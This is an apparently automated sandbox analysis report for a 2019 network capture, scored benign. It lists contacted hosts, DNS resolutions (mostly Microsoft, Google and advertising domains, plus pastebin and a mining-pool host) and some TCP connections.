Analysis

Category Package Started Completed Duration Log
PCAP 2019-07-30 16:41:49 2019-07-30 16:41:51 2 seconds Show Log

    

MalScore

1.0

Benign


Signatures

Looks up the external IP address
domain: bot.whatismyipaddress.com

Hosts

Direct IP Country Name
N 93.184.220.29 [VT] Europe
N 92.122.241.211 [VT] Germany
N 8.41.222.241 [VT] United States
N 8.248.241.254 [VT] United States
N 77.66.11.200 [VT] Denmark
N 67.231.251.190 [VT] United States
N 66.171.248.178 [VT] United States
N 66.155.71.189 [VT] Canada
N 66.117.28.68 [VT] United States
N 64.233.167.157 [VT] United States
N 64.233.167.147 [VT] United States
N 64.233.166.156 [VT] United States
N 64.158.223.146 [VT] Netherlands
N 54.240.186.129 [VT] United States
N 54.235.99.202 [VT] United States
N 54.192.61.224 [VT] United States
N 52.85.51.87 [VT] United States
N 52.208.88.219 [VT] Ireland
N 52.198.56.90 [VT] Japan
N 52.142.114.2 [VT] Ireland
N 52.138.216.83 [VT] Ireland
N 46.228.164.13 [VT] United Kingdom
N 46.228.164.11 [VT] United Kingdom
N 37.252.172.70 [VT] Europe
N 37.252.172.100 [VT] Europe
N 37.252.161.184 [VT] Europe
N 34.255.153.52 [VT] Ireland
N 34.245.125.242 [VT] Ireland
N 34.206.173.21 [VT] United States
N 31.172.81.160 [VT] Germany
N 31.13.75.36 [VT] Ireland
N 23.60.196.160 [VT] Netherlands
N 23.222.67.85 [VT] Netherlands
N 23.210.39.240 [VT] Netherlands
N 23.210.36.252 [VT] Netherlands
N 23.21.222.193 [VT] United States
N 23.20.1.13 [VT] United States
N 216.46.185.183 [VT] United States
N 213.19.162.90 [VT] United Kingdom
N 204.79.197.203 [VT] United States
N 204.79.197.200 [VT] United States
N 204.2.255.240 [VT] United States
N 196.13.108.36 [VT] Morocco
N 196.13.108.35 [VT] Morocco
N 185.33.223.202 [VT] Europe
N 185.31.128.129 [VT] United States
N 185.29.135.48 [VT] United Kingdom
N 18.195.197.123 [VT] Germany
N 173.194.76.157 [VT] United States
N 172.104.160.164 [VT] Singapore
N 157.55.134.142 [VT] United States
N 152.199.19.161 [VT] United States
N 151.101.2.49 [VT] United States
N 151.101.2.2 [VT] United States
N 151.101.0.166 [VT] United States
N 14.128.26.212 [VT] Japan
N 14.128.26.202 [VT] Japan
N 139.198.17.28 [VT] China
N 131.253.33.203 [VT] United States
N 13.107.5.80 [VT] United States
N 108.177.15.95 [VT] United States
N 108.177.15.94 [VT] United States
N 108.177.15.154 [VT] United States
N 108.177.15.138 [VT] United States
N 108.177.15.132 [VT] United States
N 105.73.6.107 [VT] Morocco
N 105.73.6.106 [VT] Morocco
N 104.40.210.32 [VT] Netherlands
N 104.20.208.21 [VT] United States
N 104.18.20.226 [VT] United States
N 104.16.92.60 [VT] United States
N 104.126.90.178 [VT] Netherlands
N 104.126.105.146 [VT] Netherlands
Y ff02::16 [VT] unknown
Y ff02::1:2 [VT] unknown
Y ff02::1:3 [VT] unknown
Y ff02::fb [VT] unknown

DNS

Name Response Post-Analysis Lookup
isatap.localdomain [VT]
isatap.local [VT]
www.msn.com [VT] CNAME a-0003.a-msedge.net [VT]
A 204.79.197.203 [VT]
CNAME www-msn-com.a-0003.a-msedge.net [VT]
static-global-s-msn-com.akamaized.net [VT] CNAME a1999.dscg2.akamai.net [VT]
A 105.73.6.106 [VT]
A 105.73.6.107 [VT]
otf.msn.com [VT] CNAME iceotf-prod-fe-tm.trafficmanager.net [VT]
CNAME iceotf-prod-fe-westeurope.cloudapp.net [VT]
A 104.40.210.32 [VT]
ctldl.windowsupdate.com [VT] A 8.248.241.254 [VT]
A 8.250.159.254 [VT]
CNAME audownload.windowsupdate.nsatc.net [VT]
A 8.253.93.237 [VT]
A 8.247.202.126 [VT]
CNAME auto.au.download.windowsupdate.com.c.footprint.net [VT]
A 8.247.205.254 [VT]
CNAME opau.download.windowsupdate.com.c.footprint.net [VT]
crl.pki.goog [VT] A 108.177.15.102 [VT]
A 108.177.15.113 [VT]
A 108.177.15.101 [VT]
CNAME www3.l.google.com [VT]
A 108.177.15.100 [VT]
A 108.177.15.139 [VT]
A 108.177.15.138 [VT]
api.bing.com [VT] CNAME api-bing-com.e-0001.e-msedge.net [VT]
CNAME e-0001.e-msedge.net [VT]
A 13.107.5.80 [VT]
www.bing.com [VT] CNAME www-bing-com.a-0001.a-msedge.net [VT]
A 204.79.197.200 [VT]
CNAME a-0001.a-msedge.net [VT]
A 13.107.21.200 [VT]
wpad.localdomain [VT]
wpad.local [VT]
portail.drill.macert.gov.ma [VT] A 196.13.108.35 [VT]
fonts.googleapis.com [VT] CNAME googleadapis.l.google.com [VT]
A 108.177.15.95 [VT]
fonts.gstatic.com [VT] CNAME gstaticadssl.l.google.com [VT]
A 108.177.15.94 [VT]
blog.drill.macert.gov.ma [VT] A 196.13.108.36 [VT]
bot.whatismyipaddress.com [VT] A 66.171.248.178 [VT]
pastebin.com [VT] A 104.20.209.21 [VT]
A 104.20.208.21 [VT]
cn.stratum.slushpool.com [VT] A 139.198.17.28 [VT]
A 139.198.16.112 [VT]
A 139.198.16.189 [VT]
A 39.104.114.74 [VT]
A 39.104.95.211 [VT]
go.microsoft.com [VT] CNAME go.microsoft.com.edgekey.net [VT]
CNAME e11290.dspg.akamaiedge.net [VT]
A 104.126.105.146 [VT]
acdn.adnxs.com [VT] CNAME secure-adnxs.edgekey.net [VT]
A 23.210.39.240 [VT]
CNAME e6115.g.akamaiedge.net [VT]
c.msn.com [VT] CNAME c.msn.com.nsatc.net [VT]
A 52.142.114.2 [VT]
login.live.com [VT] CNAME login.msa.akadns6.net [VT]
A 157.55.135.128 [VT]
A 157.55.134.142 [VT]
A 157.55.134.136 [VT]
CNAME vs.login.msa.akadns6.net [VT]
eb2.3lift.com [VT] CNAME eu-eb2.3lift.com [VT]
A 35.156.3.214 [VT]
A 18.195.197.123 [VT]
A 18.185.247.250 [VT]
A 18.194.70.167 [VT]
A 52.59.124.165 [VT]
A 18.196.143.235 [VT]
A 18.185.226.114 [VT]
A 18.197.113.167 [VT]
c.bing.com [VT] CNAME c-bing-com.a-0001.a-msedge.net [VT]
sb.scorecardresearch.com [VT] A 23.222.67.85 [VT]
CNAME sb.scorecardresearch.com.edgekey.net [VT]
CNAME e1879.e7.akamaiedge.net [VT]
static.chartbeat.com [VT] A 54.192.61.224 [VT]
CNAME d3f7zc5bbfci5.cloudfront.net [VT]
tags.mathtag.com [VT] A 185.29.133.52 [VT]
A 185.29.134.89 [VT]
A 185.29.135.42 [VT]
A 185.29.134.232 [VT]
creative.mathads.com [VT] CNAME mathads.com.edgekey.net [VT]
CNAME e6530.b.akamaiedge.net [VT]
A 104.126.90.178 [VT]
ams1-ib.adnxs.com [VT] A 185.33.223.208 [VT]
A 185.33.223.100 [VT]
A 185.33.223.206 [VT]
A 185.33.223.220 [VT]
A 185.33.223.221 [VT]
A 185.33.223.202 [VT]
A 185.33.223.197 [VT]
A 185.33.223.204 [VT]
pagead2.googlesyndication.com [VT] A 64.233.166.154 [VT]
A 64.233.166.156 [VT]
A 64.233.166.155 [VT]
CNAME pagead46.l.doubleclick.net [VT]
A 64.233.166.157 [VT]
widgets.outbrain.com [VT] CNAME e10883.g.akamaiedge.net [VT]
A 23.210.37.167 [VT]
CNAME wildcard.outbrain.com.edgekey.net [VT]
cdn.taboola.com [VT] A 151.101.66.2 [VT]
A 151.101.2.2 [VT]
CNAME f2.shared.global.fastly.net [VT]
A 151.101.194.2 [VT]
A 151.101.130.2 [VT]
ping.chartbeat.net [VT] A 23.21.73.247 [VT]
A 23.23.130.169 [VT]
A 23.21.87.97 [VT]
A 23.21.243.243 [VT]
A 23.21.222.193 [VT]
A 23.21.61.2 [VT]
A 23.21.81.248 [VT]
A 23.21.255.59 [VT]
ib.adnxs.com [VT] A 185.33.223.80 [VT]
A 185.33.223.209 [VT]
A 185.33.223.215 [VT]
A 185.33.223.203 [VT]
CNAME g.geogslb.com [VT]
CNAME ib.anycast.adnxs.com [VT]
cdn.adnxs.com [VT]
adservice.google.com [VT] A 64.233.167.155 [VT]
A 64.233.167.157 [VT]
A 64.233.167.154 [VT]
A 64.233.167.156 [VT]
cm.g.doubleclick.net [VT] A 173.194.76.157 [VT]
A 173.194.76.155 [VT]
A 173.194.76.156 [VT]
CNAME pagead.l.doubleclick.net [VT]
A 173.194.76.154 [VT]
sync.mathtag.com [VT] A 185.29.135.48 [VT]
A 185.29.133.208 [VT]
A 185.29.135.233 [VT]
A 185.29.132.21 [VT]
CNAME pixel-origin.mathtag.com [VT]
odr.mookie1.com [VT] A 18.196.61.185 [VT]
A 18.185.195.81 [VT]
CNAME odr-1134265115.eu-central-1.elb.amazonaws.com [VT]
A 18.195.209.41 [VT]
A 18.194.106.112 [VT]
A 52.28.224.121 [VT]
A 18.185.171.66 [VT]
A 52.29.123.178 [VT]
A 35.158.53.104 [VT]
pr-bh.ybp.yahoo.com [VT] A 77.238.185.35 [VT]
CNAME pr-bh.ybp.gysm.yahoodns.net [VT]
p.rfihub.com [VT] A 185.31.128.129 [VT]
CNAME a.rfihub.com [VT]
CNAME a.rfihub.com.akadns.net [VT]
CNAME a-emea.rfihub.com.akadns.net [VT]
m.adnxs.com [VT] CNAME m.anycast.adnxs.com [VT]
A 37.252.172.100 [VT]
CNAME microsoft.geo.appnexusgslb.net [VT]
A 37.252.172.180 [VT]
match.adsrvr.org [VT] A 52.17.231.199 [VT]
A 54.77.151.154 [VT]
A 52.16.141.158 [VT]
A 34.249.72.87 [VT]
CNAME match-1943069928.eu-west-1.elb.amazonaws.com [VT]
A 176.34.134.126 [VT]
A 34.240.175.172 [VT]
A 54.72.206.21 [VT]
A 34.246.249.223 [VT]
p.adsymptotic.com [VT] A 104.18.102.194 [VT]
A 104.18.101.194 [VT]
A 104.18.99.194 [VT]
A 104.18.98.194 [VT]
A 104.18.100.194 [VT]
sync.search.spotxchange.com [VT] CNAME ams01.sync.search.spotxchange.com [VT]
CNAME sync.search-gtm.spotxchange.com.akadns.net [VT]
A 185.94.180.126 [VT]
A 185.94.180.125 [VT]
googleads.g.doubleclick.net [VT] A 108.177.15.157 [VT]
A 108.177.15.155 [VT]
A 108.177.15.156 [VT]
A 108.177.15.154 [VT]
dsum-sec.casalemedia.com [VT] CNAME dsum-sec.casalemedia.com.edgekey.net [VT]
CNAME e8037.g.akamaiedge.net [VT]
A 23.210.36.252 [VT]
sync.outbrain.com [VT] CNAME prod.outbrain.map.fastlylb.net [VT]
s.amazon-adsystem.com [VT] A 52.46.130.13 [VT]
pixel.rubiconproject.com [VT] CNAME pixel.rubiconproject.net.akadns.net [VT]
A 213.19.162.80 [VT]
A 213.19.162.90 [VT]
cms.quantserve.com [VT] A 18.184.254.112 [VT]
A 35.157.170.79 [VT]
A 18.185.209.124 [VT]
CNAME 2kpixel.quantserve.com [VT]
CNAME pixel-euc101-lighttpd-elb-985182688.eu-central-1.elb.amazonaws.com [VT]
A 18.195.200.89 [VT]
A 18.195.162.149 [VT]
A 18.194.121.63 [VT]
CNAME pixel-euc101-lighttpd.pixel.quantserve.net [VT]
A 35.158.206.55 [VT]
CNAME global.px.quantserve.com [VT]
A 18.185.226.230 [VT]
dis.criteo.com [VT] A 178.250.2.76 [VT]
t.mookie1.com [VT] A 52.204.98.73 [VT]
CNAME xs2-1096111735.us-east-1.elb.amazonaws.com [VT]
A 34.197.160.212 [VT]
A 34.232.159.209 [VT]
A 52.21.215.79 [VT]
A 34.226.95.205 [VT]
A 34.225.236.175 [VT]
A 34.202.120.195 [VT]
A 34.238.20.173 [VT]
t.wayfair.com [VT] A 151.101.193.253 [VT]
A 151.101.129.253 [VT]
CNAME t.wayfair.map.fastly.net [VT]
A 151.101.1.253 [VT]
A 151.101.65.253 [VT]
e1.emxdgt.com [VT]
appnexus-partners.tremorhub.com [VT] CNAME partners-1732315393.us-east-1.elb.amazonaws.com [VT]
A 52.3.24.219 [VT]
A 34.233.214.90 [VT]
A 52.3.167.150 [VT]
A 35.168.109.209 [VT]
A 52.72.225.121 [VT]
A 52.201.165.246 [VT]
A 34.194.151.202 [VT]
A 34.236.123.105 [VT]
ad.360yield.com [VT] A 54.76.113.123 [VT]
A 52.31.137.171 [VT]
CNAME pool.tokyo.iponweb.net [VT]
A 52.211.149.64 [VT]
A 34.240.96.173 [VT]
A 52.49.164.138 [VT]
A 52.49.254.226 [VT]
A 52.48.121.18 [VT]
cm.adform.net [VT] A 37.157.6.246 [VT]
A 37.157.6.252 [VT]
A 37.157.2.236 [VT]
A 37.157.4.41 [VT]
A 37.157.4.23 [VT]
A 37.157.2.237 [VT]
CNAME track-eu.adformnet.akadns.net [VT]
b1sync.zemanta.com [VT] A 162.210.196.115 [VT]
A 207.244.121.137 [VT]
A 207.244.121.74 [VT]
A 207.244.66.112 [VT]
A 207.244.121.65 [VT]
A 207.244.110.3 [VT]
A 207.244.108.217 [VT]
A 207.244.94.20 [VT]
A 207.244.121.27 [VT]
A 162.210.197.137 [VT]
A 207.244.121.70 [VT]
A 207.244.67.98 [VT]
A 207.244.121.73 [VT]
A 108.59.4.173 [VT]
A 207.244.73.10 [VT]
A 108.59.4.172 [VT]
A 207.244.67.99 [VT]
A 108.59.0.8 [VT]
CNAME b1-lsw-use1.zemanta.com [VT]
A 207.244.76.83 [VT]
A 198.7.56.231 [VT]
A 108.59.0.12 [VT]
A 162.210.196.116 [VT]
A 108.59.4.171 [VT]
A 198.7.56.229 [VT]
A 207.244.121.25 [VT]
A 162.210.199.69 [VT]
tpc.googlesyndication.com [VT] A 108.177.15.132 [VT]
CNAME pagead-googlehosted.l.google.com [VT]
s0.2mdn.net [VT] CNAME s0-2mdn-net.l.google.com [VT]
A 108.177.15.148 [VT]
A 108.177.15.149 [VT]
pixel.tapad.com [VT] A 35.227.197.177 [VT]
sync-tm.everesttech.net [VT] CNAME syncf.tubemogul.com [VT]
A 151.101.66.49 [VT]
CNAME h2.shared.global.fastly.net [VT]
CNAME sync.tubemogul.com [VT]
A 151.101.194.49 [VT]
A 151.101.130.49 [VT]
A 151.101.2.49 [VT]
ad.turn.com [VT] CNAME ad.turn.com.akadns.net [VT]
A 46.228.164.11 [VT]
dsum.casalemedia.com [VT] CNAME dsum.casalemedia.com.edgekey.net [VT]
ads.stickyadstv.com [VT] CNAME stickyadstv.com.edgekey.net [VT]
CNAME cidr1.ads.stickyadstv.com.akadns.net [VT]
CNAME ip1.ads.stickyadstv.com.akadns.net [VT]
A 23.208.79.40 [VT]
CNAME e11676.b.akamaiedge.net [VT]
pixel.advertising.com [VT] A 35.157.225.240 [VT]
A 35.158.28.206 [VT]
A 52.28.80.243 [VT]
A 52.29.202.17 [VT]
A 52.58.163.163 [VT]
A 52.57.66.70 [VT]
A 52.29.181.180 [VT]
A 35.157.38.246 [VT]
CNAME dmp-pixel.aolp-prd.public.aol.com [VT]
pm.w55c.net [VT] CNAME dxedge-prod-lb-404808087.eu-central-1.elb.amazonaws.com [VT]
A 18.194.197.149 [VT]
A 18.185.199.28 [VT]
A 35.156.105.90 [VT]
A 18.195.135.198 [VT]
A 18.196.45.133 [VT]
A 52.28.91.161 [VT]
A 18.196.44.198 [VT]
A 35.156.104.99 [VT]
e.nexac.com [VT] CNAME reach-redirect-service-alb-1568243832.us-west-2.elb.amazonaws.com [VT]
A 54.201.13.5 [VT]
A 34.210.167.24 [VT]
A 35.165.123.51 [VT]
CNAME gtm02.nexac.com [VT]
A 54.187.216.36 [VT]
A 54.186.134.237 [VT]
A 54.71.175.165 [VT]
A 54.186.212.199 [VT]
A 52.40.84.85 [VT]
rtb-csync.smartadserver.com [VT] A 185.86.137.17 [VT]
CNAME 2-01-275d-0017.cdx.cedexis.net [VT]
CNAME geoced.smartadserver.com [VT]
CNAME eqx.smartadserver.com [VT]
A 185.86.137.43 [VT]
A 185.86.137.42 [VT]
A 185.86.137.32 [VT]
sync.teads.tv [VT] A 52.212.38.123 [VT]
A 52.213.171.180 [VT]
A 52.209.50.117 [VT]
A 54.194.62.228 [VT]
A 54.77.40.196 [VT]
A 52.212.249.193 [VT]
A 52.19.209.34 [VT]
A 54.76.26.3 [VT]
x.dlx.addthis.com [VT] A 52.88.207.133 [VT]
CNAME gtm13.nexac.com [VT]
A 54.244.29.74 [VT]
A 54.148.67.34 [VT]
A 52.37.199.102 [VT]
A 54.213.201.234 [VT]
A 52.32.245.221 [VT]
CNAME reach-tag-sync-service-alb-1566477274.us-west-2.elb.amazonaws.com [VT]
images9.engageya.com [VT] CNAME e15247.dscg.akamaiedge.net [VT]
A 104.126.91.245 [VT]
CNAME images9.edgekey.net [VT]
tracking.m6r.eu [VT] CNAME e9040.f.akamaiedge.net [VT]
A 2.19.17.14 [VT]
CNAME tracking.m6r.eu.edgekey.net [VT]
b.scorecardresearch.com [VT] CNAME a1294.w20.akamai.net [VT]
CNAME b.scorecardresearch.com.edgesuite.net [VT]
A 105.73.6.104 [VT]
c1.adform.net [VT] CNAME track.adformnet.akadns.net [VT]
A 37.157.4.39 [VT]
A 37.157.2.235 [VT]
A 37.157.2.234 [VT]
A 37.157.4.40 [VT]
A 37.157.6.245 [VT]
A 37.157.6.251 [VT]
ecn.dev.virtualearth.net [VT] CNAME ssl2.tiles.virtualearth.net.edgekey.net [VT]
A 23.210.38.39 [VT]
CNAME e4113.g.akamaiedge.net [VT]
recs.engageya.com [VT] A 95.142.20.17 [VT]
s.thebrighttag.com [VT] A 54.228.243.159 [VT]
A 52.30.5.88 [VT]
A 54.195.251.142 [VT]
CNAME td.thebrighttag.com [VT]
A 54.228.243.156 [VT]
jadserve.postrelease.com [VT] CNAME jadserve.postrelease.com.akadns.net [VT]
A 34.243.105.152 [VT]
A 52.214.169.142 [VT]
dh.serving-sys.com [VT] CNAME dmp-eupro-haproxyd-16fgltvm0s4xx-617771131.eu-central-1.elb.amazonaws.com [VT]
A 18.196.13.239 [VT]
A 52.58.163.2 [VT]
CNAME haproxy-dmp-euprodfr.sizmdx.com [VT]
A 18.194.238.219 [VT]
A 18.196.116.174 [VT]
prod.y-medialink.com [VT] A 35.186.202.217 [VT]
ads.yahoo.com [VT] A 217.12.15.83 [VT]
CNAME fo-fd-world-new.yax.gysm.yahoodns.net [VT]
A 217.12.15.54 [VT]
pixel-sync.sitescout.com [VT] A 66.155.71.189 [VT]
CNAME pixel-a.sitescout.com [VT]
mpp.vindicosuite.com [VT] A 35.186.236.204 [VT]
sy.eu.angsrvr.com [VT] CNAME adsync2018012915481112110000000c-143193926.eu-west-1.elb.amazonaws.com [VT]
A 54.77.178.18 [VT]
A 52.31.246.215 [VT]
A 54.72.161.162 [VT]
A 54.77.10.204 [VT]
t.a3cloud.net [VT] CNAME d386jaag4hn9zl.cloudfront.net [VT]
A 54.240.186.129 [VT]
www.google.com [VT] A 64.233.167.104 [VT]
A 64.233.167.105 [VT]
A 64.233.167.147 [VT]
A 64.233.167.106 [VT]
A 64.233.167.99 [VT]
A 64.233.167.103 [VT]
pixel.everesttech.net [VT] A 66.117.28.68 [VT]
CNAME tp00.everesttech.net.akadns.net [VT]
acquisition-tracker.wix.com [VT] CNAME ghs.googlehosted.com [VT]
A 108.177.15.121 [VT]
googlecm.hit.gemius.pl [VT] A 217.182.200.19 [VT]
A 54.38.193.173 [VT]
A 79.137.69.120 [VT]
A 54.38.193.161 [VT]
A 217.182.200.41 [VT]
A 79.137.68.187 [VT]
A 54.38.193.101 [VT]
A 217.182.200.29 [VT]
A 54.38.193.172 [VT]
A 79.137.69.91 [VT]
A 217.182.200.20 [VT]
A 217.182.201.168 [VT]
rtbcc.fyber.com [VT] CNAME e3972.dscg.akamaiedge.net [VT]
CNAME rtbcc.fyber.com.edgekey.net [VT]
A 23.210.39.143 [VT]
fcmatch.google.com [VT]
fcmatch.youtube.com [VT]
fra1-ib.adnxs.com [VT] A 37.252.172.27 [VT]
A 37.252.172.53 [VT]
A 37.252.172.42 [VT]
A 37.252.172.12 [VT]
A 37.252.172.39 [VT]
A 37.252.172.80 [VT]
A 37.252.172.70 [VT]
A 37.252.172.40 [VT]
sam.msn.com [VT] CNAME www.msn.com [VT]
CNAME a-0003.dc-msedge.net [VT]
CNAME icePrime.a-0003.dc-msedge.net [VT]
A 131.253.33.203 [VT]
sync.1rx.io [VT] A 8.41.222.241 [VT]
ocsp.globalsign.com [VT] A 104.18.21.226 [VT]
CNAME global.prd.cdn.globalsign.com [VT]
CNAME cdn.globalsigncdn.com.cdn.cloudflare.net [VT]
A 104.18.20.226 [VT]
pixel.s3xified.com [VT] A 67.231.251.190 [VT]
match.sync.ad.cpe.dotomi.com [VT] CNAME ams02-convex.dotomi.com [VT]
A 64.158.223.146 [VT]
CNAME cpe.us.dotomi.weighted.com.akadns.net [VT]
CNAME cpe.eu.ams.dotomi.weighted.com.akadns.net [VT]
sync.jivox.com [VT] A 50.19.112.124 [VT]
A 54.235.99.202 [VT]
tg.socdm.com [VT] A 14.128.26.213 [VT]
A 202.241.208.53 [VT]
A 14.128.26.212 [VT]
A 202.241.208.52 [VT]
CNAME tg3.dr.socdm.com [VT]
A 14.128.26.215 [VT]
A 14.128.26.214 [VT]
A 14.128.26.216 [VT]
A 202.241.208.56 [VT]
A 202.241.208.55 [VT]
A 202.241.208.54 [VT]
d.turn.com [VT] CNAME d.turn.com.akadns.net [VT]
A 46.228.164.13 [VT]
vop.sundaysky.com [VT] A 52.5.233.114 [VT]
A 52.0.186.248 [VT]
A 34.206.173.21 [VT]
A 34.203.120.138 [VT]
A 34.234.250.144 [VT]
CNAME vop-tracking-vpc-1741893498.us-east-1.elb.amazonaws.com [VT]
A 52.54.179.213 [VT]
A 52.5.131.6 [VT]
A 34.231.168.237 [VT]
uipglob.semasio.net [VT] CNAME uipglob.trafficmanager.net [VT]
A 77.66.11.200 [VT]
CNAME uip.semasio.net [VT]
gocm.c.appier.net [VT] A 139.162.41.250 [VT]
A 139.162.61.54 [VT]
A 172.104.160.164 [VT]
A 139.162.56.194 [VT]
A 139.162.22.113 [VT]
A 139.162.11.86 [VT]
A 139.162.40.246 [VT]
A 139.162.37.98 [VT]
A 139.162.9.91 [VT]
A 172.104.180.146 [VT]
A 139.162.30.99 [VT]
A 172.104.168.143 [VT]
A 139.162.49.205 [VT]
A 172.104.169.141 [VT]
A 139.162.62.56 [VT]
A 172.104.52.35 [VT]
A 139.162.19.41 [VT]
anp.valassisdigital.io [VT] A 204.2.255.240 [VT]
a248.e.akamai.net [VT] A 2.20.44.155 [VT]
A 92.122.241.211 [VT]
aa.agkn.com [VT] A 54.65.120.202 [VT]
A 52.198.56.90 [VT]
A 54.64.180.26 [VT]
CNAME aa-agkn-com-https-51506257.ap-northeast-1.elb.amazonaws.com [VT]
A 52.69.242.75 [VT]
A 54.199.137.223 [VT]
A 13.113.103.200 [VT]
global.ib-ibi.com [VT] A 216.46.185.183 [VT]
www.google-analytics.com [VT] CNAME www-google-analytics.l.google.com [VT]
d.agkn.com [VT] A 52.51.101.246 [VT]
A 52.208.88.219 [VT]
A 54.76.8.53 [VT]
A 34.249.187.31 [VT]
CNAME data.agkn.com [VT]
A 52.31.188.95 [VT]
CNAME tag-terraform-elb-253521921.eu-west-1.elb.amazonaws.com [VT]
A 54.171.47.36 [VT]
A 52.18.250.145 [VT]
A 52.214.12.233 [VT]
ocsp.digicert.com [VT] A 93.184.220.29 [VT]
CNAME cs9.wac.phicdn.net [VT]
status.rapidssl.com [VT] CNAME ocsp.digicert.com [VT]
ssum-sec.casalemedia.com [VT] CNAME ssum-sec.casalemedia.com.edgekey.net [VT]
bh.contextweb.com [VT] A 151.101.64.166 [VT]
A 151.101.192.166 [VT]
A 151.101.128.166 [VT]
A 151.101.0.166 [VT]
CNAME prod.contextweb.map.fastlylb.net [VT]
sync.bumlam.com [VT] A 31.172.81.159 [VT]
A 31.172.81.158 [VT]
A 31.172.81.160 [VT]
A 31.172.81.172 [VT]
bid.socdm.com [VT] A 202.241.208.3 [VT]
A 202.241.208.4 [VT]
A 14.128.26.202 [VT]
CNAME bid2.dr.socdm.com [VT]
A 202.241.208.2 [VT]
www.facebook.com [VT] A 31.13.75.36 [VT]
CNAME star-mini.c10r.facebook.com [VT]
magnetic.t.domdex.com [VT] CNAME ec2-34-245-125-242.eu-west-1.compute.amazonaws.com [VT]
CNAME gdpr-nginx001.eu-west-1.mgnt.cc [VT]
A 34.245.125.242 [VT]
dmp.truoptik.com [VT] A 104.16.91.60 [VT]
A 104.16.92.60 [VT]
px.powerlinks.com [VT] A 34.255.153.52 [VT]
A 34.253.62.229 [VT]
A 34.249.185.202 [VT]
A 52.209.1.74 [VT]
A 52.212.162.244 [VT]
A 34.252.188.147 [VT]
A 54.194.234.200 [VT]
A 54.229.166.87 [VT]
sync.ad-stir.com [VT] A 52.85.51.101 [VT]
A 52.85.51.55 [VT]
A 52.85.51.87 [VT]
A 52.85.51.135 [VT]
prebid.adnxs.com [VT] CNAME prebid.appnexusgslb.net [VT]
A 37.252.161.184 [VT]
tags.bluekai.com [VT] CNAME tags.bluekai.com.edgekey.net [VT]
CNAME e13541.x.akamaiedge.net [VT]
A 23.60.196.160 [VT]
status.geotrust.com [VT]
mid.rkdms.com [VT] A 34.197.186.26 [VT]
A 54.86.103.64 [VT]
A 34.202.38.113 [VT]
A 107.23.66.0 [VT]
A 52.206.93.156 [VT]
A 23.20.1.13 [VT]
iecvlist.microsoft.com [VT] A 152.199.19.161 [VT]
CNAME cs9.wpc.v0cdn.net [VT]
CNAME ie9comview.vo.msecnd.net [VT]
sqm.telemetry.microsoft.com [VT] CNAME sqm.telemetry.microsoft.com.nsatc.net [VT]
A 65.55.252.93 [VT]
settings-win.data.microsoft.com [VT] CNAME asimov-win.settings.data.microsoft.com.akadns.net [VT]
CNAME geo.settings.data.microsoft.com.akadns.net [VT]
A 52.138.216.83 [VT]
CNAME db5.settings.data.microsoft.com.akadns.net [VT]
CNAME db5-eap.settings.data.microsoft.com.akadns.net [VT]

Hosts

Direct IP Country Name
N 93.184.220.29 [VT] Europe
N 92.122.241.211 [VT] Germany
N 8.41.222.241 [VT] United States
N 8.248.241.254 [VT] United States
N 77.66.11.200 [VT] Denmark
N 67.231.251.190 [VT] United States
N 66.171.248.178 [VT] United States
N 66.155.71.189 [VT] Canada
N 66.117.28.68 [VT] United States
N 64.233.167.157 [VT] United States
N 64.233.167.147 [VT] United States
N 64.233.166.156 [VT] United States
N 64.158.223.146 [VT] Netherlands
N 54.240.186.129 [VT] United States
N 54.235.99.202 [VT] United States
N 54.192.61.224 [VT] United States
N 52.85.51.87 [VT] United States
N 52.208.88.219 [VT] Ireland
N 52.198.56.90 [VT] Japan
N 52.142.114.2 [VT] Ireland
N 52.138.216.83 [VT] Ireland
N 46.228.164.13 [VT] United Kingdom
N 46.228.164.11 [VT] United Kingdom
N 37.252.172.70 [VT] Europe
N 37.252.172.100 [VT] Europe
N 37.252.161.184 [VT] Europe
N 34.255.153.52 [VT] Ireland
N 34.245.125.242 [VT] Ireland
N 34.206.173.21 [VT] United States
N 31.172.81.160 [VT] Germany
N 31.13.75.36 [VT] Ireland
N 23.60.196.160 [VT] Netherlands
N 23.222.67.85 [VT] Netherlands
N 23.210.39.240 [VT] Netherlands
N 23.210.36.252 [VT] Netherlands
N 23.21.222.193 [VT] United States
N 23.20.1.13 [VT] United States
N 216.46.185.183 [VT] United States
N 213.19.162.90 [VT] United Kingdom
N 204.79.197.203 [VT] United States
N 204.79.197.200 [VT] United States
N 204.2.255.240 [VT] United States
N 196.13.108.36 [VT] Morocco
N 196.13.108.35 [VT] Morocco
N 185.33.223.202 [VT] Europe
N 185.31.128.129 [VT] United States
N 185.29.135.48 [VT] United Kingdom
N 18.195.197.123 [VT] Germany
N 173.194.76.157 [VT] United States
N 172.104.160.164 [VT] Singapore
N 157.55.134.142 [VT] United States
N 152.199.19.161 [VT] United States
N 151.101.2.49 [VT] United States
N 151.101.2.2 [VT] United States
N 151.101.0.166 [VT] United States
N 14.128.26.212 [VT] Japan
N 14.128.26.202 [VT] Japan
N 139.198.17.28 [VT] China
N 131.253.33.203 [VT] United States
N 13.107.5.80 [VT] United States
N 108.177.15.95 [VT] United States
N 108.177.15.94 [VT] United States
N 108.177.15.154 [VT] United States
N 108.177.15.138 [VT] United States
N 108.177.15.132 [VT] United States
N 105.73.6.107 [VT] Morocco
N 105.73.6.106 [VT] Morocco
N 104.40.210.32 [VT] Netherlands
N 104.20.208.21 [VT] United States
N 104.18.20.226 [VT] United States
N 104.16.92.60 [VT] United States
N 104.126.90.178 [VT] Netherlands
N 104.126.105.146 [VT] Netherlands
Y ff02::16 [VT] unknown
Y ff02::1:2 [VT] unknown
Y ff02::1:3 [VT] unknown
Y ff02::fb [VT] unknown

TCP

Source Source Port Destination Destination Port
192.168.3.158 49518 104.126.105.146 go.microsoft.com 80
192.168.3.158 49535 104.126.90.178 creative.mathads.com 443
192.168.3.158 49536 104.126.90.178 creative.mathads.com 443
192.168.3.158 49537 104.126.90.178 creative.mathads.com 443
192.168.3.158 49602 104.16.92.60 dmp.truoptik.com 80
192.168.3.158 49562 104.18.20.226 ocsp.globalsign.com 80
192.168.3.158 49511 104.20.208.21 pastebin.com 443
192.168.3.158 49461 104.40.210.32 otf.msn.com 80
192.168.3.158 49462 104.40.210.32 otf.msn.com 80
192.168.3.158 49533 104.40.210.32 otf.msn.com 80
192.168.3.158 49534 104.40.210.32 otf.msn.com 80
192.168.3.158 49583 104.40.210.32 otf.msn.com 80
192.168.3.158 49459 105.73.6.106 static-global-s-msn-com.akamaized.net 80
192.168.3.158 49460 105.73.6.106 static-global-s-msn-com.akamaized.net 80
192.168.3.158 49522 105.73.6.107 static-global-s-msn-com.akamaized.net 80
